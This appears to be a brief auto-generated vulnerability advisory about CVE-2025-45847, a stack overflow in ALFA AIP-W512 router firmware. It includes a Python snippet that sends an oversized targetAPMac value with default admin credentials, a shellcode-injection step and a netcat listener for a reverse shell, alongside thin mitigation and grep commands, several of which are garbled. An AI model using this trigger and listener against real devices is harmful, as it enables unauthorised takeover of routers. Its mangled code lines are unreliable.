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How the CVE Works:
CVE-2025-45847 exploits an authenticated stack overflow in ALFA AIP-W512 firmware v3.2.2.2.3 via the `targetAPMac` parameter in the `formWsc` function. Attackers send excessively long input to this parameter, corrupting the stack and potentially executing arbitrary code with elevated privileges. The vulnerability arises due to insufficient bounds checking in the firmware’s Wi-Fi Simple Configuration (WSC) module. Successful exploitation requires authentication, but once compromised, attackers gain full control over the device.
DailyCVE Form:
Platform: ALFA AIP-W512
Version: v3.2.2.2.3
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/02/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation:
1. Payload Crafting:
import requests
target = "http://192.168.1.1/formWsc"
payload = "A" 1024 Overflow trigger
requests.post(target, data={"targetAPMac": payload}, auth=("admin", "password"))
2. Shellcode Injection:
Overwrite return address with shellcode pointer.
Protection:
1. Input Validation:
if (strlen(targetAPMac) > 32) {
exit(1); // Reject oversized input
}
2. Firmware Update:
wget https://vendor.com/patches/CVE-2025-45847.bin flash-firmware CVE-2025-45847.bin
Analytics:
- Attack Vector: Network-adjacent, authenticated.
- Exploitability: High (PoC expected soon).
- Mitigation: Disable WSC, apply workaround.
Detection:
grep -r "formWsc" /firmware | grep "targetAPMac" Locate vulnerable code
Post-Exploit:
nc -lvnp 4444 Attacker listener
Patch Verification:
strings firmware.bin | grep "formWsc" Check patched version
No further commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
